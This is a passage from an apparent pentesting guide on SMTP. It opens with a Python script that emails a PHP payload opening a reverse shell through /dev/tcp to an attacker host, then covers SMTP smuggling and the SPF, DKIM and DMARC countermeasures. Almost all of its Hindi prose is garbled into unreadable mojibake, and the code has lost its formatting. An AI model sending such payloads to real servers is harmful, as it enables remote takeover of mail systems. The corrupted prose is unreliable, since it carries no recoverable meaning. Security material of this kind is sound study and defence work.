```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys
lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587
create message object instance
msg = MIMEMultipart()
setup the parameters of the message
password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"
payload
message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250: print("[-]Connection Error") exit()
server.starttls()
server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
Copy </details>
## SMTP Smuggling
SMTP Smuggling рднреЗрджреНрдпрддрд╛ рдиреЗ рд╕рднреА SMTP рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА (рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЕрдЧрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдХреЛ рджреЗрдЦреЗрдВ)ред SMTP Smuggling рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ:
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## Mail Spoofing Countermeasures
рд╕рдВрд╕реНрдерд╛рдПрдБ **SPF**, **DKIM**, рдФрд░ **DMARC** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдирдХреА рдУрд░ рд╕реЗ рдЕрдирдзрд┐рдХреГрдд рдИрдореЗрд▓ рднреЗрдЬрдиреЗ рд╕реЗ рд░реЛрдХреА рдЬрд╛рддреА рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ SMTP рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдзреЛрдЦрд╛ рджреЗрдирд╛ рдЖрд╕рд╛рди рд╣реИред
рдЗрди **рдХрд╛рдЙрдВрдЯрд░рдореЗрд╢рд░реНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреВрд░реНрдг рдЧрд╛рдЗрдб** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
SPF [2014 рдореЗрдВ "deprecated" рд╣реБрдЖ](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ `_spf.domain.com` рдореЗрдВ **TXT рд░рд┐рдХреЙрд░реНрдб** рдмрдирд╛рдиреЗ рдХреЗ рдмрдЬрд╛рдп рдЖрдк рдЗрд╕реЗ `domain.com` рдореЗрдВ **рд╕рдорд╛рди рд╕рд┐рдВрдЯреИрдХреНрд╕** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рддреЗ рд╣реИрдВред\
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкрд┐рдЫрд▓реЗ spf рд░рд┐рдХреЙрд░реНрдб рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рдХрд┐ рдХреБрдЫ рдРрд╕рд╛ рдкрд╛рдпрд╛ рдЬрд╛рдП рдЬреИрд╕реЗ `"v=spf1 include:_spf.google.com ~all"`
</div>
**Sender Policy Framework** (SPF) рдПрдХ рддрдВрддреНрд░ рд╣реИ рдЬреЛ рдореЗрд▓ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдПрдЬреЗрдВрдЯ (MTAs) рдХреЛ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдИрдореЗрд▓ рднреЗрдЬрдиреЗ рд╡рд╛рд▓рд╛ рд╣реЛрд╕реНрдЯ рд╕рдВрдЧрдардиреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдЕрдзрд┐рдХреГрдд рдореЗрд▓ рд╕рд░реНрд╡рд░реЛрдВ рдХреА рд╕реВрдЪреА рдХреЛ рдкреВрдЫрдХрд░ рдЕрдзрд┐рдХреГрдд рд╣реИред рдпрд╣ рд╕реВрдЪреА, рдЬреЛ IP рдкрддреЗ/рд░реЗрдВрдЬ, рдбреЛрдореЗрди, рдФрд░ рдЕрдиреНрдп рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЛ **рдПрдХ рдбреЛрдореЗрди рдирд╛рдо рдХреА рдУрд░ рд╕реЗ рдИрдореЗрд▓ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХреГрдд** рдХрд░рддреА рд╣реИ, SPF рд░рд┐рдХреЙрд░реНрдб рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди "**рддрдВрддреНрд░реЛрдВ**" рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИред
#### Mechanisms
[рд╡рд┐рдХрд┐рдкреАрдбрд┐рдпрд╛](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework) рд╕реЗ:
| рддрдВрддреНрд░ | рд╡рд┐рд╡рд░рдг |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | рд╣рдореЗрд╢рд╛ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ; рд╕рднреА IPs рдХреЗ рд▓рд┐рдП рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкрд░рд┐рдгрд╛рдо рдХреЗ рд▓рд┐рдП `-all` рдЬреИрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдкрд┐рдЫрд▓реЗ рддрдВрддреНрд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ред |
| A | рдпрджрд┐ рдбреЛрдореЗрди рдирд╛рдо рдХрд╛ рдПрдХ рдкрддрд╛ рд░рд┐рдХреЙрд░реНрдб (A рдпрд╛ AAAA) рд╣реИ рдЬрд┐рд╕реЗ рднреЗрдЬрдиреЗ рд╡рд╛рд▓реЗ рдХреЗ рдкрддреЗ рдкрд░ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред |
| IP4 | рдпрджрд┐ рднреЗрдЬрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рджрд┐рдП рдЧрдП IPv4 рдкрддреЗ рдХреА рд░реЗрдВрдЬ рдореЗрдВ рд╣реИ, рддреЛ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред |
| IP6 | рдпрджрд┐ рднреЗрдЬрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рджрд┐рдП рдЧрдП IPv6 рдкрддреЗ рдХреА рд░реЗрдВрдЬ рдореЗрдВ рд╣реИ, рддреЛ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред |
| MX | рдпрджрд┐ рдбреЛрдореЗрди рдирд╛рдо рдХрд╛ рдПрдХ MX рд░рд┐рдХреЙрд░реНрдб рд╣реИ рдЬреЛ рднреЗрдЬрдиреЗ рд╡рд╛рд▓реЗ рдХреЗ рдкрддреЗ рдкрд░ рд╣рд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ (рдпрд╛рдиреА, рдореЗрд▓ рдбреЛрдореЗрди рдХреЗ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдореЗрд▓ рд╕рд░реНрд╡рд░реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╕реЗ рдЖрддрд╛ рд╣реИ)ред |
| PTR | рдпрджрд┐ рдЧреНрд░рд╛рд╣рдХ рдХреЗ рдкрддреЗ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдирд╛рдо (PTR рд░рд┐рдХреЙрд░реНрдб) рджрд┐рдП рдЧрдП рдбреЛрдореЗрди рдореЗрдВ рд╣реИ рдФрд░ рд╡рд╣ рдбреЛрдореЗрди рдирд╛рдо рдЧреНрд░рд╛рд╣рдХ рдХреЗ рдкрддреЗ рдкрд░ рд╣рд▓ рд╣реЛрддрд╛ рд╣реИ (рдлреЙрд░рд╡рд░реНрдб-рдХрдиреНрдлрд░реНрдореНрдб рд░рд┐рд╡рд░реНрд╕ DNS), рддреЛ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред рдЗрд╕ рддрдВрддреНрд░ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдирд╣реАрдВ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдЗрд╕реЗ рд╕рдВрднрд╡рддрдГ рдЯрд╛рд▓рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред |
| EXISTS | рдпрджрд┐ рджрд┐рдП рдЧрдП рдбреЛрдореЗрди рдирд╛рдо рдХрд╛ рдХреЛрдИ рднреА рдкрддрд╛ рд╣рд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ (рдХреЛрдИ рдлрд░реНрдХ рдирд╣реАрдВ рдкрдбрд╝рддрд╛ рдХрд┐ рдпрд╣ рдХрд┐рд╕ рдкрддреЗ рдкрд░ рд╣рд▓ рд╣реЛрддрд╛ рд╣реИ)ред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢рд╛рдпрдж рд╣реА рдХрднреА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред SPF рдореИрдХреНрд░реЛ рднрд╛рд╖рд╛ рдХреЗ рд╕рд╛рде рдпрд╣ DNSBL-queries рдЬреИрд╕реА рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред |
| INCLUDE | рдХрд┐рд╕реА рдЕрдиреНрдп рдбреЛрдореЗрди рдХреА рдиреАрддрд┐ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдЙрд╕ рдбреЛрдореЗрди рдХреА рдиреАрддрд┐ рдкрд╛рд╕ рд╣реЛрддреА рд╣реИ, рддреЛ рдпрд╣ рддрдВрддреНрд░ рдкрд╛рд╕ рд╣реЛрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рд╢рд╛рдорд┐рд▓ рдХреА рдЧрдИ рдиреАрддрд┐ рд╡рд┐рдлрд▓ рд╣реЛрддреА рд╣реИ, рддреЛ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдЬрд╛рд░реА рд░рд╣рддрд╛ рд╣реИред рдХрд┐рд╕реА рдЕрдиреНрдп рдбреЛрдореЗрди рдХреА рдиреАрддрд┐ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реМрдВрдкрдиреЗ рдХреЗ рд▓рд┐рдП, рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред |
| REDIRECT | <p>рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдПрдХ рдЕрдиреНрдп рдбреЛрдореЗрди рдирд╛рдо рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдПрдХ SPF рдиреАрддрд┐ рдХреЛ рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдХрдИ рдбреЛрдореЗрди рдХреЛ рд╕рдорд╛рди SPF рдиреАрддрд┐ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рддрдм рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдбреЛрдореЗрди рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рд╕рдорд╛рди рдИрдореЗрд▓ рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЗ рдХреЛ рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВред</p><p>рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рддрдВрддреНрд░ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдбреЛрдореЗрди рдХреА SPF рдиреАрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред</p> |
рдпрд╣ рдкрд╣рдЪрд╛рдирдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ **Qualifiers** рдЬреЛ **рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдпрджрд┐ рдХреЛрдИ рддрдВрддреНрд░ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ рддреЛ рдХреНрдпрд╛ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП**ред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, **рдХреНрд╡рд╛рд▓рд┐рдлрд╛рдпрд░ "+"** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рддреЛ рдпрджрд┐ рдХреЛрдИ рддрдВрддреНрд░ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИ)ред\
рдЖрдк рдЖрдорддреМрд░ рдкрд░ **рдкреНрд░рддреНрдпреЗрдХ SPF рдиреАрддрд┐ рдХреЗ рдЕрдВрдд рдореЗрдВ** рдХреБрдЫ рдРрд╕рд╛ рдиреЛрдЯ рдХрд░реЗрдВрдЧреЗ: **\~all** рдпрд╛ **-all**ред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ **рдпрджрд┐ рднреЗрдЬрдиреЗ рд╡рд╛рд▓рд╛ рдХрд┐рд╕реА рднреА SPF рдиреАрддрд┐ рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдИрдореЗрд▓ рдХреЛ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп (\~) рдХреЗ рд░реВрдк рдореЗрдВ рдЯреИрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдИрдореЗрд▓ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ (-) рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред**
#### Qualifiers
рдиреАрддрд┐ рдХреЗ рднреАрддрд░ рдкреНрд░рддреНрдпреЗрдХ рддрдВрддреНрд░ рдХреЛ рдЗрдЪреНрдЫрд┐рдд рдкрд░рд┐рдгрд╛рдо рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЪрд╛рд░ рдХреНрд╡рд╛рд▓рд┐рдлрд╛рдпрд░ рдореЗрдВ рд╕реЗ рдПрдХ рджреНрд╡рд╛рд░рд╛ рдкреВрд░реНрд╡рд╡рд░реНрддреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
* **`+`**: рдПрдХ PASS рдкрд░рд┐рдгрд╛рдо рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рддрдВрддреНрд░ рдЗрд╕ рдХреНрд╡рд╛рд▓рд┐рдлрд╛рдпрд░ рдХреЛ рдорд╛рдирддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ `+mx` `mx` рдХреЗ рдмрд░рд╛рдмрд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
* **`?`**: рдПрдХ NEUTRAL рдкрд░рд┐рдгрд╛рдо рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ NONE (рдХреЛрдИ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреАрддрд┐ рдирд╣реАрдВ) рдХреЗ рд╕рдорд╛рди рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред
* **`~`**: SOFTFAIL рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ, рдЬреЛ NEUTRAL рдФрд░ FAIL рдХреЗ рдмреАрдЪ рдПрдХ рдордзреНрдп рднреВрдорд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдИрдореЗрд▓ рдЖрдорддреМрд░ рдкрд░ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЙрдЪрд┐рдд рд░реВрдк рд╕реЗ рдЪрд┐рд╣реНрдирд┐рдд рд╣реЛрддреЗ рд╣реИрдВред
* **`-`**: FAIL рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рд╕реБрдЭрд╛рд╡ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдИрдореЗрд▓ рдХреЛ рд╕реАрдзреЗ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
рдЖрдЧрд╛рдореА рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, **google.com рдХреА SPF рдиреАрддрд┐** рдХреЛ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкрд╣рд▓реЗ SPF рдиреАрддрд┐ рдХреЗ рднреАрддрд░ рд╡рд┐рднрд┐рдиреНрди рдбреЛрдореЗрди рд╕реЗ SPF рдиреАрддрд┐рдпреЛрдВ рдХрд╛ рд╕рдорд╛рд╡реЗрд╢ рдиреЛрдЯ рдХрд░реЗрдВ:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
рдкрд░рдВрдкрд░рд╛рдЧрдд рд░реВрдк рд╕реЗ, рдХрд┐рд╕реА рднреА рдбреЛрдореЗрди рдирд╛рдо рдХреЛ рд╕реНрдкреВрдл рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рд╕рд╣реА/рдХреЛрдИ SPF рд░рд┐рдХреЙрд░реНрдб рдирд╣реАрдВ рдерд╛ред рдЖрдЬрдХрд▓ , рдпрджрд┐ рдИрдореЗрд▓ рдХрд┐рд╕реА рдбреЛрдореЗрди рд╕реЗ рдЖрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдПрдХ рдорд╛рдиреНрдп SPF рд░рд┐рдХреЙрд░реНрдб рдирд╣реАрдВ рд╣реИ , рддреЛ рдЗрд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЕрд╕реНрд╡реАрдХреГрдд/рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ ред
рдХрд┐рд╕реА рдбреЛрдореЗрди рдХрд╛ SPF рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдСрдирд▓рд╛рдЗрди рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: https://www.kitterman.com/spf/validate.html
DKIM (DomainKeys Identified Mail)
DKIM рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрдЙрдЯрдмрд╛рдЙрдВрдб рдИрдореЗрд▓ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдирдХреЗ рдмрд╛рд╣рд░реА рдореЗрд▓ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдПрдЬреЗрдВрдЯ (MTAs) рджреНрд╡рд╛рд░рд╛ рдбреЛрдореЗрди рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА DNS рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ рдорд╛рдиреНрдпрддрд╛ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИред рдпрд╣ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдПрдХ рдбреЛрдореЗрди рдХреЗ TXT рд░рд┐рдХреЙрд░реНрдб рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддреА рд╣реИред рдЗрд╕ рдХреБрдВрдЬреА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдЪрдпрдирдХрд░реНрддрд╛ рдФрд░ рдбреЛрдореЗрди рдирд╛рдо рджреЛрдиреЛрдВ рдХреЛ рдЬрд╛рдирдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреБрдВрдЬреА рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдбреЛрдореЗрди рдирд╛рдо рдФрд░ рдЪрдпрдирдХрд░реНрддрд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рдореЗрд▓ рд╣реЗрдбрд░ DKIM-Signature
рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ, d=gmail.com;s=20120113
ред
рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдорд╛рдВрдб рдЗрд╕ рддрд░рд╣ рджрд┐рдЦ рд╕рдХрддреА рд╣реИ:
Copy dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC рдИрдореЗрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ SPF рдФрд░ DKIM рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХрд░рдХреЗ рдмрдврд╝рд╛рддрд╛ рд╣реИред рдпрд╣ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рд╢реЗрд╖ рдбреЛрдореЗрди рд╕реЗ рдИрдореЗрд▓ рдХреЗ рдкреНрд░рдмрдВрдзрди рдореЗрдВ рдореЗрд▓ рд╕рд░реНрд╡рд░реЛрдВ рдХрд╛ рдорд╛рд░реНрдЧрджрд░реНрд╢рди рдХрд░рддреА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдлрд▓рддрд╛рдУрдВ рд╕реЗ рдирд┐рдкрдЯрдиреЗ рдФрд░ рдИрдореЗрд▓ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд░рд┐рдкреЛрд░реНрдЯ рднреЗрдЬрдиреЗ рдХреЗ рд╕реНрдерд╛рди рд╢рд╛рдорд┐рд▓ рд╣реИрдВред
DMARC рд░рд┐рдХреЙрд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЙрдкрдбреЛрдореЗрди _dmarc рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░рдирд╛ рд╣реЛрдЧрд╛
Copy # Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
DMARC рдЯреИрдЧ
рдЙрдкрдбреЛрдореЗрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛?
рдпрд╣рд╛рдВ рд╕реЗ рдпрд╣рд╛рдВ .
рдЖрдкрдХреЛ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП рдЕрд▓рдЧ SPF рд░рд┐рдХреЙрд░реНрдб рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рд╕реЗ рдЖрдк рдореЗрд▓ рднреЗрдЬрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред
рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореВрд▓ рд░реВрдк рд╕реЗ openspf.org рдкрд░ рдкреЛрд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬреЛ рдЗрд╕ рддрд░рд╣ рдХреА рдЪреАрдЬреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рд╛рдирджрд╛рд░ рд╕рдВрд╕рд╛рдзрди рдерд╛ред
